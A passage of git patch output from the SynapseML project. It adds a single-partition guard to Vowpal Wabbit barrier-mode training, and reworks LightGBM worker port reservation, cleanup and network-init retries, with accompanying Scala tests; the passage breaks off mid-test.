VowpalWabbitBaseLearner behavior, restore the minimal source-compatible rule proposed by the ancient PR, prove it through TDD and targeted VW validation, and keep the change isolated from LightGBM. ## Linked Sources - Original proposal: https://github.com/microsoft/SynapseML/pull/1912 - Initial CI failure: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229206650 - Repository review guidance: .github/skills/code-review/SKILL.md - Local validation guidance: .github/skills/synapseml-local-setup/SKILL.md ## Rationale Keep the public API and multi-partition synchronization behavior unchanged with a short-circuit partition-count guard. Observe Spark stage metadata rather than adding a test-only PipelineStage subclass, and use a marker job to drain asynchronous listener events deterministically; this proves the selected execution path without entering global stage discovery. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../ml/vw/VowpalWabbitBaseLearner.scala | 2 +- .../ml/vw/VerifyVowpalWabbitClassifier.scala | 76 +++++++++++++++++-- 2 files changed, 72 insertions(+), 6 deletions(-) diff --git a/vw/src/main/scala/com/microsoft/azure/synapse/ml/vw/VowpalWabbitBaseLearner.scala b/vw/src/main/scala/com/microsoft/azure/synapse/ml/vw/VowpalWabbitBaseLearner.scala index 699a737da84..ba2aa008de4 100644 --- a/vw/src/main/scala/com/microsoft/azure/synapse/ml/vw/VowpalWabbitBaseLearner.scala +++ b/vw/src/main/scala/com/microsoft/azure/synapse/ml/vw/VowpalWabbitBaseLearner.scala @@ -181,7 +181,7 @@ trait VowpalWabbitBaseLearner extends VowpalWabbitBase { // dispatch to exectuors and collect the model of the first partition (everybody has the same at the end anyway) // important to trigger collect() here so that the spanning tree is still up - if (getUseBarrierExecutionMode) + if (getUseBarrierExecutionMode && df.rdd.getNumPartitions > 1) df.rdd.barrier().mapPartitions(inputRows => trainIteration(inputRows, localInitialModel)).collect().toSeq else df.mapPartitions(inputRows => trainIteration(inputRows, localInitialModel))(encoder).collect().toSeq diff --git a/vw/src/test/scala/com/microsoft/azure/synapse/ml/vw/VerifyVowpalWabbitClassifier.scala b/vw/src/test/scala/com/microsoft/azure/synapse/ml/vw/VerifyVowpalWabbitClassifier.scala index 7d89a001d10..621f612d63d 100644 --- a/vw/src/test/scala/com/microsoft/azure/synapse/ml/vw/VerifyVowpalWabbitClassifier.scala +++ b/vw/src/test/scala/com/microsoft/azure/synapse/ml/vw/VerifyVowpalWabbitClassifier.scala @@ -9,12 +9,49 @@ import org.apache.spark.TaskContext import org.apache.spark.ml.evaluation.{BinaryClassificationEvaluator, MulticlassClassificationEvaluator} import org.apache.spark.ml.tuning.{CrossValidator, ParamGridBuilder} import org.apache.spark.ml.util.MLReadable +import org.apache.spark.scheduler.{ + SparkListener, + SparkListenerJobEnd, + SparkListenerJobStart, + SparkListenerStageSubmitted +} import org.apache.spark.sql.catalyst.encoders.ExpressionEncoder import org.apache.spark.sql.functions._ import org.apache.spark.sql.types.{DoubleType, IntegerType} import org.apache.spark.sql.{DataFrame, Dataset, Row} import java.io.File +import java.util.UUID +import java.util.concurrent.atomic.AtomicBoolean +import java.util.concurrent.{CountDownLatch, TimeUnit} + +private[vw] class BarrierExecutionListener(markerJobGroup: String) extends SparkListener { + private val barrierObserved = new AtomicBoolean(false) + private val markerCompleted = new CountDownLatch(1) + @volatile private var markerJobId = -1 + + override def onStageSubmitted(stageSubmitted: SparkListenerStageSubmitted): Unit = { + if (stageSubmitted.stageInfo.rddInfos.exists(_.isBarrier)) { + barrierObserved.set(true) + } + } + + override def onJobStart(jobStart: SparkListenerJobStart): Unit = { + if (Option(jobStart.properties).exists(_.getProperty("spark.jobGroup.id") == markerJobGroup)) { + markerJobId = jobStart.jobId + } + } + + override def onJobEnd(jobEnd: SparkListenerJobEnd): Unit = { + if (jobEnd.jobId == markerJobId) { + markerCompleted.countDown() + } + } + + def awaitMarker(): Boolean = markerCompleted.await(30, TimeUnit.SECONDS) + + def sawBarrier: Boolean = barrierObserved.get() +} class VerifyVowpalWabbitClassifier extends Benchmarks with EstimatorFuzzing[VowpalWabbitClassifier] { lazy val moduleName = "vw" @@ -133,8 +170,13 @@ class VerifyVowpalWabbitClassifier extends Benchmarks with EstimatorFuzzing[Vowp assert(labelOneCnt == 275) } - private def testVerifyVowpalWabbitClassifierWithLibSVM(useBarrierMode: Boolean): Unit = { - val dataset = getAlaTrainDataFrame() + private def testVerifyVowpalWabbitClassifierWithLibSVM(useBarrierMode: Boolean, + localNumPartitions: Int, + expectBarrierExecution: Boolean): Unit = { + val dataset = getAlaTrainDataFrame(localNumPartitions) + val sparkContext = spark.sparkContext + val markerJobGroup = s"vw-barrier-test-${UUID.randomUUID()}" + val listener = new BarrierExecutionListener(markerJobGroup) val vw = new VowpalWabbitClassifier() .setPassThroughArgs("--passes 3") @@ -143,7 +185,18 @@ class VerifyVowpalWabbitClassifier extends Benchmarks with EstimatorFuzzing[Vowp .setUseBarrierExecutionMode(useBarrierMode) .setLabelConversion(false) - val classifier = vw.fit(dataset) + sparkContext.addSparkListener(listener) + val classifier = try { + val fittedModel = vw.fit(dataset) + sparkContext.setJobGroup(markerJobGroup, "Wait for barrier execution listener") + sparkContext.parallelize(Seq(1), 1).count() + assert(listener.awaitMarker(), "Timed out waiting for Spark listener events") + assert(listener.sawBarrier == expectBarrierExecution) + fittedModel + } finally { + sparkContext.clearJobGroup() + sparkContext.removeSparkListener(listener) + } assert(classifier.getModel.length > 400) val labelOneCnt = classifier.transform(dataset).select("prediction").filter(_.getDouble(0) == 1.0).count() @@ -156,11 +209,24 @@ class VerifyVowpalWabbitClassifier extends Benchmarks with EstimatorFuzzing[Vowp } test("Verify VowpalWabbit Classifier can be run with libsvm (barrier mode)") { - testVerifyVowpalWabbitClassifierWithLibSVM(true) + testVerifyVowpalWabbitClassifierWithLibSVM( + useBarrierMode = true, + localNumPartitions = numPartitions, + expectBarrierExecution = true) } test("Verify VowpalWabbit Classifier can be run with libsvm (no barrier mode)") { - testVerifyVowpalWabbitClassifierWithLibSVM(false) + testVerifyVowpalWabbitClassifierWithLibSVM( + useBarrierMode = false, + localNumPartitions = numPartitions, + expectBarrierExecution = false) + } + + test("Verify VowpalWabbit Classifier skips barrier mode for one partition") { + testVerifyVowpalWabbitClassifierWithLibSVM( + useBarrierMode = true, + localNumPartitions = 1, + expectBarrierExecution = false) } test("Verify VowpalWabbit Classifier does not generate duplicate options (short)") { From 2d6b3929b1ef2eeb9a3599d4b22c44dd000ebd39 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Fri, 7 Aug 2026 15:32:12 -0700 Subject: [PATCH 33/93] fix: reserve LightGBM worker ports until network init (#2595) --- .../ml/lightgbm/BasePartitionTask.scala | 87 +-- .../synapse/ml/lightgbm/NetworkManager.scala | 345 ++++++++++-- .../lightgbm/split1/NetworkManagerSuite.scala | 516 ++++++++++++++++++ 3 files changed, 856 insertions(+), 92 deletions(-) create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/NetworkManagerSuite.scala diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/BasePartitionTask.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/BasePartitionTask.scala index 6dccaa84f60..64cfd5102fc 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/BasePartitionTask.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/BasePartitionTask.scala @@ -131,32 +131,35 @@ abstract class BasePartitionTask extends Serializable with Logging { // Start with initialization val taskCtx = initialize(ctx, inputRows) - if (taskCtx.isEmptyPartition) { - log.warn("LightGBM task encountered empty partition, for best performance ensure no partitions are empty") - Array { PartitionResult(None, taskCtx.measures) }.toIterator - } else { - // Perform any data preparation work - val dataIntermediateState = preparePartitionData(taskCtx, inputRows) - - try { - if (taskCtx.shouldExecuteTraining) { - // If participating in training, initialize the network ring of communication - NetworkManager.initLightGBMNetwork(taskCtx, log) + NetworkManager.withCleanupPreservingPrimary(taskCtx.networkTopologyInfo.releasePortReservation()) { + if (taskCtx.isEmptyPartition) { + log.warn("LightGBM task encountered empty partition, for best performance ensure no partitions are empty") + Array { PartitionResult(None, taskCtx.measures) }.toIterator + } else { + // Perform any data preparation work + val dataIntermediateState = preparePartitionData(taskCtx, inputRows) - if (ctx.useSingleDatasetMode) { - log.info(s"Waiting for all data prep to be done, task ${taskCtx.taskId}, partition ${taskCtx.partitionId}") - ctx.sharedState().dataPreparationDoneSignal.await() + try { + if (taskCtx.shouldExecuteTraining) { + // If participating in training, initialize the network ring of communication + NetworkManager.initLightGBMNetwork(taskCtx, log) + + if (ctx.useSingleDatasetMode) { + log.info(s"Waiting for all data prep to be done, task ${taskCtx.taskId}, " + + s"partition ${taskCtx.partitionId}") + ctx.sharedState().dataPreparationDoneSignal.await() + } + + // Create the final Dataset for training and execute training iterations + finalizeDatasetAndTrain(taskCtx, dataIntermediateState) + } else { + log.info(s"Helper task ${taskCtx.taskId}, partition ${taskCtx.partitionId} finished processing rows") + ctx.sharedState().dataPreparationDoneSignal.countDown() + Array { PartitionResult(None, taskCtx.measures) }.toIterator } - - // Create the final Dataset for training and execute training iterations - finalizeDatasetAndTrain(taskCtx, dataIntermediateState) - } else { - log.info(s"Helper task ${taskCtx.taskId}, partition ${taskCtx.partitionId} finished processing rows") - ctx.sharedState().dataPreparationDoneSignal.countDown() - Array { PartitionResult(None, taskCtx.measures) }.toIterator + } finally { + cleanup(taskCtx) } - } finally { - cleanup(taskCtx) } } } @@ -196,24 +199,26 @@ abstract class BasePartitionTask extends Serializable with Logging { shouldExecuteTraining, taskMeasures) - // Return booster only from main worker to reduce network communication overhead - val shouldReturnBooster = if (isEmptyPartition) false - else if (!shouldExecuteTraining) false - else networkInfo.localListenPort == NetworkManager.getMainWorkerPort(networkInfo.lightgbmNetworkString, log) - - val taskCtx = getTaskContext(ctx, - partitionId, - taskId, - taskMeasures, - networkInfo, - shouldExecuteTraining, - isEmptyPartition, - shouldReturnBooster) - - if (ctx.trainingParams.generalParams.verbosity > 1) - log.info(s"Done initializing partition: $partitionId, taskId: $taskId, executor: $getExecutorId") - taskMeasures.markInitializationStop() - taskCtx + NetworkManager.withCleanupOnFailurePreservingPrimary(networkInfo.releasePortReservation()) { + // Return booster only from main worker to reduce network communication overhead + val shouldReturnBooster = if (isEmptyPartition) false + else if (!shouldExecuteTraining) false + else networkInfo.localListenPort == NetworkManager.getMainWorkerPort(networkInfo.lightgbmNetworkString, log) + + val taskCtx = getTaskContext(ctx, + partitionId, + taskId, + taskMeasures, + networkInfo, + shouldExecuteTraining, + isEmptyPartition, + shouldReturnBooster) + + if (ctx.trainingParams.generalParams.verbosity > 1) + log.info(s"Done initializing partition: $partitionId, taskId: $taskId, executor: $getExecutorId") + taskMeasures.markInitializationStop() + taskCtx + } } /** diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala index 89aef07a507..f7a48ecc929 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala @@ -13,7 +13,7 @@ import org.apache.spark.sql.SparkSession import org.slf4j.Logger import java.io.{BufferedReader, BufferedWriter, IOException, InputStreamReader, OutputStreamWriter} -import java.net.{InetSocketAddress, ServerSocket, Socket} +import java.net.{BindException, InetSocketAddress, ServerSocket, Socket} import java.util.concurrent.Executors import scala.annotation.tailrec import scala.collection.mutable @@ -39,9 +39,107 @@ case class TaskMessageInfo(status: String, case class NetworkTopologyInfo(lightgbmNetworkString: String, executorPartitionIdList: Array[Int], - localListenPort: Int) + localListenPort: Int) { + @transient private var portReservation: Option[Socket] = None + + private def currentPortReservation: Option[Socket] = Option(portReservation).flatten + + private[lightgbm] def hasPortReservation: Boolean = synchronized { + currentPortReservation.nonEmpty + } + + private[lightgbm] def retainPortReservation(reservation: Socket): NetworkTopologyInfo = synchronized { + require(!reservation.isClosed, "Cannot retain a closed port reservation") + require(reservation.isBound, "Cannot retain an unbound port reservation") + require(reservation.getLocalPort == localListenPort, + s"Port reservation ${reservation.getLocalPort} does not match topology port $localListenPort") + require(currentPortReservation.isEmpty, s"Port $localListenPort already has a reservation") + portReservation = Option(reservation) + this + } + + /** Release the temporary JVM reservation immediately before LightGBM binds the same port. + * + * The operation is idempotent so final cleanup can safely call it after any success or failure path. + */ + private[lightgbm] def releasePortReservation(): Unit = synchronized { + currentPortReservation.foreach { reservation => + try { + NetworkManager.closeSocketWithRetry(reservation) + } finally { + // Keep an open socket reachable for a later final-cleanup attempt. + if (reservation.isClosed) portReservation = None + } + } + } +} object NetworkManager { + private val MaxSocketCloseAttempts = 2 + + private def addSuppressed(primaryFailure: Throwable, secondaryFailure: Throwable): Unit = { + if (primaryFailure ne secondaryFailure) primaryFailure.addSuppressed(secondaryFailure) + } + + /** Close a socket with one immediate retry, retaining every observed cleanup failure. */ + private[lightgbm] def closeSocketWithRetry(socket: Socket): Unit = { + @tailrec + def attemptClose(attemptsRemaining: Int, + firstFailure: Option[IOException]): Option[IOException] = { + if (socket.isClosed || attemptsRemaining == 0) { + firstFailure + } else { + val updatedFailure = try { + socket.close() + firstFailure + } catch { + case failure: IOException => + firstFailure.foreach(existing => addSuppressed(existing, failure)) + firstFailure.orElse(Option(failure)) + } + attemptClose(attemptsRemaining - 1, updatedFailure) + } + } + + val closeFailure = attemptClose(MaxSocketCloseAttempts, None).orElse { + if (socket.isClosed) None else Option(new IOException("Socket remained open after cleanup attempts")) + } + closeFailure.foreach(throw _) + } + + /** Run cleanup without allowing it to replace a failure from the protected operation. + * + * The Throwable catch is deliberately limited to recording and immediately rethrowing the original + * failure; it is not a fallback or recovery boundary. + */ + private[lightgbm] def withCleanupPreservingPrimary[T](cleanup: => Unit)(operation: => T): T = { + var primaryFailure: Option[Throwable] = None + try { + operation + } catch { + case failure: Throwable => + primaryFailure = Option(failure) + throw failure + } finally { + try { + cleanup + } catch { + case cleanupFailure: Throwable if primaryFailure.isDefined => + addSuppressed(primaryFailure.get, cleanupFailure) + } + } + } + + /** Run cleanup only when the protected operation fails, preserving that primary failure. */ + private[lightgbm] def withCleanupOnFailurePreservingPrimary[T] + (cleanup: => Unit)(operation: => T): T = { + var completed = false + withCleanupPreservingPrimary(if (!completed) cleanup) { + val result = operation + completed = true + result + } + } /** * Create a NetworkManager, which will encapsulate all network operations. * This method will opens a socket communications channel on the driver, and then initialize @@ -87,9 +185,8 @@ object NetworkManager { * * Establish local socket connection. * - * Note: Ideally we would start the socket connections in the C layer, this opens us up for - * race conditions in case other applications open sockets on cluster, but usually this - * should not be a problem + * The JVM reserves the selected port until immediately before LightGBM binds it in the C layer, + * limiting competition to the unavoidable handoff between the two socket implementations. * * @param ctx Information about the current training session. * @param log The Logger. @@ -107,21 +204,24 @@ object NetworkManager { measures: TaskInstrumentationMeasures): NetworkTopologyInfo = { measures.markNetworkInitializationStart() val networkParams = ctx.networkParams - val out = using(findOpenPort(ctx, log).get) { - openPort => - val localListenPort = openPort.getLocalPort - log.info(s"LightGBM task $taskId connecting to host: ${networkParams.ipAddress}, port: ${networkParams.port}") - FaultToleranceUtils.retryWithTimeout() { - getNetworkTopologyInfoFromDriver(networkParams, - taskId, - partitionId, - localListenPort, - log, - shouldExecuteTraining) - } - }.get - measures.markNetworkInitializationStop() - out + try { + val reservation = findOpenPort(ctx, log) + withPortReservation(reservation, shouldExecuteTraining) { + localListenPort => + log.info(s"LightGBM task $taskId connecting to host: " + + s"${networkParams.ipAddress}, port: ${networkParams.port}") + FaultToleranceUtils.retryWithTimeout() { + getNetworkTopologyInfoFromDriver(networkParams, + taskId, + partitionId, + localListenPort, + log, + shouldExecuteTraining) + } + } + } finally { + measures.markNetworkInitializationStop() + } } private def getNetworkTopologyInfoFromDriver(networkParams: NetworkParams, @@ -196,24 +296,113 @@ object NetworkManager { log: Logger, retry: Int = LightGBMConstants.NetworkRetries, delay: Long = LightGBMConstants.InitialDelay): Unit = { - log.info(s"Calling NetworkInit on local port ${ctx.localListenPort} with value ${ctx.lightGBMNetworkString}") - try { - LightGBMUtils.validate(lightgbmlib.LGBM_NetworkInit( + initLightGBMNetworkWithRetry( + ctx.networkTopologyInfo, + log, + retry, + delay, + () => LightGBMUtils.validate(lightgbmlib.LGBM_NetworkInit( ctx.lightGBMNetworkString, ctx.localListenPort, LightGBMConstants.DefaultListenTimeout, - ctx.lightGBMNetworkMachineCount), "Network init") - log.info(s"NetworkInit succeeded. LightGBM task listening on: ${ctx.localListenPort}") + ctx.lightGBMNetworkMachineCount), "Network init"), + port => reserveExactPort(port, log), + delayMillis => Thread.sleep(delayMillis)) + } + + /** Retry native network initialization without leaving the advertised port open during backoff. */ + private[lightgbm] def initLightGBMNetworkWithRetry(networkTopologyInfo: NetworkTopologyInfo, + log: Logger, + retry: Int, + delay: Long, + networkInit: () => Unit, + reservePort: Int => Socket, + sleep: Long => Unit): Unit = { + initLightGBMNetworkWithRetry( + networkTopologyInfo, + log, + retry, + delay, + networkInit, + reservePort, + sleep, + None) + } + + private def initLightGBMNetworkWithRetry(networkTopologyInfo: NetworkTopologyInfo, + log: Logger, + retry: Int, + delay: Long, + networkInit: () => Unit, + reservePort: Int => Socket, + sleep: Long => Unit, + previousNativeFailure: Option[Exception]): Unit = { + val localListenPort = networkTopologyInfo.localListenPort + log.info(s"Calling NetworkInit on local port $localListenPort " + + s"with value ${networkTopologyInfo.lightgbmNetworkString}") + releasePortReservationForNetworkInit(networkTopologyInfo, previousNativeFailure, log) + val nativeFailure = try { + networkInit() + None } catch { - case ex@(_: Exception | _: Throwable) => - log.info(s"NetworkInit failed with exception on local port ${ctx.localListenPort} with exception: $ex") - Thread.sleep(delay) + case failure: Exception => Option(failure) + } + + nativeFailure match { + case None => + log.info(s"NetworkInit succeeded. LightGBM task listening on: $localListenPort") + case Some(failure) => + log.info(s"NetworkInit failed with exception on local port $localListenPort " + + s"with exception: $failure") if (retry == 0) { - log.info(s"NetworkInit reached maximum exceptions on retry: $ex") - throw ex + log.info(s"NetworkInit reached maximum exceptions on retry: $failure") + throw failure + } + + // Every peer already knows this port, so changing it would corrupt the negotiated topology. + // If exact re-reservation loses the handoff race, fail the task and let Spark renegotiate. + try { + val retryReservation = reservePort(localListenPort) + withPortReservation(retryReservation, shouldExecuteTraining = true) { _ => + networkTopologyInfo + } + } catch { + case reservationFailure: Exception => + addSuppressed(failure, reservationFailure) + throw failure + } + + log.info(s"Retrying NetworkInit with local port $localListenPort") + sleep(delay) + initLightGBMNetworkWithRetry( + networkTopologyInfo, + log, + retry - 1, + delay * 2, + networkInit, + reservePort, + sleep, + Option(failure)) + } + } + + private def releasePortReservationForNetworkInit(networkTopologyInfo: NetworkTopologyInfo, + previousNativeFailure: Option[Exception], + log: Logger): Unit = { + try { + networkTopologyInfo.releasePortReservation() + } catch { + case releaseFailure: IOException => + previousNativeFailure match { + case Some(nativeFailure) => + addSuppressed(nativeFailure, releaseFailure) + if (networkTopologyInfo.hasPortReservation) { + throw nativeFailure + } + log.warn("Port reservation close reported a failure but ultimately closed; " + + "continuing the native network-init retry", releaseFailure) + case None => throw releaseFailure } - log.info(s"Retrying NetworkInit with local port ${ctx.localListenPort}") - initLightGBMNetwork(ctx, log, retry - 1, delay * 2) } } @@ -238,36 +427,90 @@ object NetworkManager { mainPort.toInt } - private def findOpenPort(ctx: TrainingContext, log: Logger): Option[Socket] = { + private def findOpenPort(ctx: TrainingContext, log: Logger): Socket = { val defaultListenPort: Int = ctx.networkParams.defaultListenPort val basePort = defaultListenPort + (LightGBMUtils.getWorkerId * ctx.numTasksPerExecutor) - if (basePort > LightGBMConstants.MaxPort) { - throw new Exception(s"Error: port $basePort out of range, possibly due to too many executors or unknown error") - } - var localListenPort = basePort - var taskServerSocket: Option[Socket] = None + reserveOpenPort(basePort, log) + } + + /** Reserve the first available port at or above basePort. + * + * Only address-in-use failures advance to another port. Other failures propagate after the candidate + * socket is closed, rather than silently falling back to a different port. + */ + private[lightgbm] def reserveOpenPort(basePort: Int, log: Logger): Socket = { + reserveOpenPort(basePort, log, () => new Socket()) + } + + private[lightgbm] def reserveOpenPort(basePort: Int, + log: Logger, + createSocket: () => Socket): Socket = { + validatePort(basePort) @tailrec - def findPort(): Unit = { - try { - taskServerSocket = Option(new Socket()) - taskServerSocket.get.bind(new InetSocketAddress(localListenPort)) + def reservePort(localListenPort: Int): Socket = { + val bindResult: Either[BindException, Socket] = try { + Right(reserveExactPort(localListenPort, log, createSocket)) } catch { - case _: IOException => + // A suppressed exception means candidate cleanup failed, so proceeding would leak a socket. + case contention: BindException if contention.getSuppressed.isEmpty => Left(contention) + } + + bindResult match { + case Right(reservation) => reservation + case Left(_) => log.warn(s"Could not bind to port $localListenPort...") - localListenPort += 1 - if (localListenPort > LightGBMConstants.MaxPort) { - throw new Exception(s"Error: port $basePort out of range, possibly due to networking or firewall issues") + val nextPort = localListenPort + 1 + if (nextPort > LightGBMConstants.MaxPort) { + throw new Exception(s"Error: port $basePort out of range, " + + "possibly due to networking or firewall issues") } - if (localListenPort - basePort > 1000) { + if (nextPort - basePort > 1000) { throw new Exception("Error: Could not find open port after 1k tries") } - findPort() + reservePort(nextPort) + } + } + + reservePort(basePort) + } + + /** Reserve one exact port. Native-init retries cannot change the previously advertised port. */ + private[lightgbm] def reserveExactPort(localListenPort: Int, log: Logger): Socket = { + reserveExactPort(localListenPort, log, () => new Socket()) + } + + private def reserveExactPort(localListenPort: Int, + log: Logger, + createSocket: () => Socket): Socket = { + validatePort(localListenPort) + val candidate = createSocket() + withCleanupOnFailurePreservingPrimary(closeSocketWithRetry(candidate)) { + candidate.bind(new InetSocketAddress(localListenPort)) + log.info(s"Successfully bound to port $localListenPort") + candidate + } + } + + private def validatePort(port: Int): Unit = { + if (port < 0 || port > LightGBMConstants.MaxPort) { + throw new Exception(s"Error: port $port out of range, possibly due to too many executors or unknown error") + } + } + + /** Keep a training task's port reserved, while releasing helper and failed-task reservations immediately. */ + private[lightgbm] def withPortReservation(reservation: Socket, + shouldExecuteTraining: Boolean) + (getTopology: Int => NetworkTopologyInfo): NetworkTopologyInfo = { + var retained = false + withCleanupPreservingPrimary(if (!retained) closeSocketWithRetry(reservation)) { + val topology = getTopology(reservation.getLocalPort) + if (shouldExecuteTraining) { + topology.retainPortReservation(reservation) + retained = true } + topology } - findPort() - log.info(s"Successfully bound to port $localListenPort") - taskServerSocket } private def setFinishedStatus(networkParams: NetworkParams, log: Logger): Unit = { diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/NetworkManagerSuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/NetworkManagerSuite.scala new file mode 100644 index 00000000000..0e3118604f8 --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/NetworkManagerSuite.scala @@ -0,0 +1,516 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.split1 + +import com.microsoft.azure.synapse.ml.lightgbm.{NetworkManager, NetworkTopologyInfo} +import org.scalatest.funsuite.AnyFunSuite +import org.slf4j.LoggerFactory + +import java.io.IOException +import java.net.{BindException, InetSocketAddress, ServerSocket, Socket, SocketAddress, SocketException} +import java.util.concurrent.{ConcurrentLinkedQueue, CountDownLatch, Executors, TimeUnit} +import scala.collection.JavaConverters.collectionAsScalaIterableConverter +import scala.concurrent.duration.DurationInt +import scala.concurrent.{Await, ExecutionContext, Future} +import scala.util.{Failure, Success, Try} + +class NetworkManagerSuite extends AnyFunSuite { + + private val log = LoggerFactory.getLogger(classOf[NetworkManagerSuite]) + + private class FailingCloseSocket(closeFailures: Seq[IOException]) extends Socket { + var closeAttempts = 0 + + override def close(): Unit = { + val attempt = closeAttempts + closeAttempts += 1 + if (attempt < closeFailures.length) throw closeFailures(attempt) + super.close() + } + } + + private def bindEphemeralSocket(): Socket = { + val socket = new Socket() + socket.bind(new InetSocketAddress(0)) + socket + } + + private def assertPortAvailable(port: Int): Unit = { + val socket = new ServerSocket() + try { + socket.bind(new InetSocketAddress(port)) + assert(socket.isBound) + } finally { + socket.close() + } + } + + test("Port reservation skips a competing socket and holds its port until network initialization") { + val competitor = bindEphemeralSocket() + val reservation = NetworkManager.reserveOpenPort(competitor.getLocalPort, log) + val reservedPort = reservation.getLocalPort + + try { + assert(reservedPort != competitor.getLocalPort) + val topology = NetworkManager.withPortReservation(reservation, shouldExecuteTraining = true) { port => + NetworkTopologyInfo(s"localhost:$port", Array(0), port) + } + + assert(!reservation.isClosed) + val challenger = new ServerSocket() + try { + assertThrows[BindException] { + challenger.bind(new InetSocketAddress(reservedPort)) + } + } finally { + challenger.close() + } + + topology.releasePortReservation() + topology.releasePortReservation() + assert(reservation.isClosed) + } finally { + if (!reservation.isClosed) reservation.close() + competitor.close() + } + + assertPortAvailable(reservedPort) + } + + test("Helper and failed topology paths release their port reservations") { + val helperReservation = bindEphemeralSocket() + val helperPort = helperReservation.getLocalPort + try { + NetworkManager.withPortReservation(helperReservation, shouldExecuteTraining = false) { port => + NetworkTopologyInfo("", Array.empty[Int], port) + } + assert(helperReservation.isClosed) + } finally { + if (!helperReservation.isClosed) helperReservation.close() + } + assertPortAvailable(helperPort) + + val failedReservation = bindEphemeralSocket() + val failedPort = failedReservation.getLocalPort + val expected = new IOException("topology lookup failed") + try { + val actual = intercept[IOException] { + NetworkManager.withPortReservation(failedReservation, shouldExecuteTraining = true) { _ => + throw expected + } + } + assert(actual eq expected) + assert(failedReservation.isClosed) + } finally { + if (!failedReservation.isClosed) failedReservation.close() + } + assertPortAvailable(failedPort) + } + + test("Non-contention bind failures propagate after closing the candidate socket") { + val expected = new SocketException("network configuration failure") + val candidate = new Socket() { + override def bind(bindpoint: SocketAddress): Unit = throw expected + } + + try { + val actual = intercept[SocketException] { + NetworkManager.reserveOpenPort(12345, log, () => candidate) + } + assert(actual eq expected) + assert(candidate.isClosed) + } finally { + if (!candidate.isClosed) candidate.close() + } + } + + test("Bind failures stay primary when candidate cleanup initially fails") { + val bindFailure = new SocketException("network configuration failure") + val cleanupFailure = new IOException("candidate close failed") + val candidate = new FailingCloseSocket(Seq(cleanupFailure)) { + override def bind(bindpoint: SocketAddress): Unit = throw bindFailure + } + + try { + val actual = intercept[SocketException] { + NetworkManager.reserveOpenPort(12345, log, () => candidate) + } + + assert(actual eq bindFailure) + assert(actual.getSuppressed.toSeq == Seq(cleanupFailure)) + assert(candidate.closeAttempts == 2) + assert(candidate.isClosed) + } finally { + if (!candidate.isClosed) candidate.close() + } + } + + test("A failed reservation close retries before retaining the socket for final cleanup") { + val firstFailure = new IOException("first close failure") + val secondFailure = new IOException("second close failure") + val reservation = new FailingCloseSocket(Seq(firstFailure, secondFailure)) + reservation.bind(new InetSocketAddress(0)) + val topology = NetworkTopologyInfo("", Array.empty[Int], reservation.getLocalPort) + .retainPortReservation(reservation) + + try { + val actual = intercept[IOException] { + topology.releasePortReservation() + } + assert(actual eq firstFailure) + assert(actual.getSuppressed.toSeq == Seq(secondFailure)) + assert(!reservation.isClosed) + assert(reservation.closeAttempts == 2) + + topology.releasePortReservation() + assert(reservation.isClosed) + assert(reservation.closeAttempts == 3) + } finally { + if (!reservation.isClosed) reservation.close() + } + } + + test("Repeated cleanup failures are suppressed without replacing the primary failure") { + val primaryFailure = new IllegalStateException("partition failed") + val firstCleanupFailure = new IOException("first reservation close failed") + val secondCleanupFailure = new IOException("second reservation close failed") + val reservation = new FailingCloseSocket(Seq(firstCleanupFailure, secondCleanupFailure)) + reservation.bind(new InetSocketAddress(0)) + val topology = NetworkTopologyInfo("", Array.empty[Int], reservation.getLocalPort) + .retainPortReservation(reservation) + + try { + val actual = intercept[IllegalStateException] { + NetworkManager.withCleanupPreservingPrimary(topology.releasePortReservation()) { + throw primaryFailure + } + } + + assert(actual eq primaryFailure) + assert(actual.getSuppressed.toSeq == Seq(firstCleanupFailure)) + assert(firstCleanupFailure.getSuppressed.toSeq == Seq(secondCleanupFailure)) + assert(reservation.closeAttempts == 2) + assert(!reservation.isClosed) + + topology.releasePortReservation() + assert(reservation.closeAttempts == 3) + assert(reservation.isClosed) + } finally { + if (!reservation.isClosed) reservation.close() + } + } + + test("Topology lookup failure stays primary when direct reservation cleanup fails") { + val primaryFailure = new IllegalArgumentException("topology failed") + val cleanupFailure = new IOException("reservation close failed") + val reservation = new FailingCloseSocket(Seq(cleanupFailure)) + reservation.bind(new InetSocketAddress(0)) + + try { + val actual = intercept[IllegalArgumentException] { + NetworkManager.withPortReservation(reservation, shouldExecuteTraining = true) { _ => + throw primaryFailure + } + } + + assert(actual eq primaryFailure) + assert(actual.getSuppressed.toSeq == Seq(cleanupFailure)) + assert(reservation.closeAttempts == 2) + assert(reservation.isClosed) + } finally { + if (!reservation.isClosed) reservation.close() + } + } + + test("Native-init retry holds the advertised port throughout backoff") { + val initialReservation = bindEphemeralSocket() + val port = initialReservation.getLocalPort + val topology = NetworkTopologyInfo(s"localhost:$port", Array(0), port) + .retainPortReservation(initialReservation) + val firstFailure = new Exception("first native init failed") + var initCalls = 0 + var retryReservation: Option[Socket] = None + var observedReservedBackoff = false + + try { + NetworkManager.initLightGBMNetworkWithRetry( + topology, + log, + retry = 1, + delay = 1L, + networkInit = () => { + initCalls += 1 + if (initCalls == 1) throw firstFailure + assert(retryReservation.exists(_.isClosed)) + }, + reservePort = retryPort => { + val reservation = NetworkManager.reserveExactPort(retryPort, log) + retryReservation = 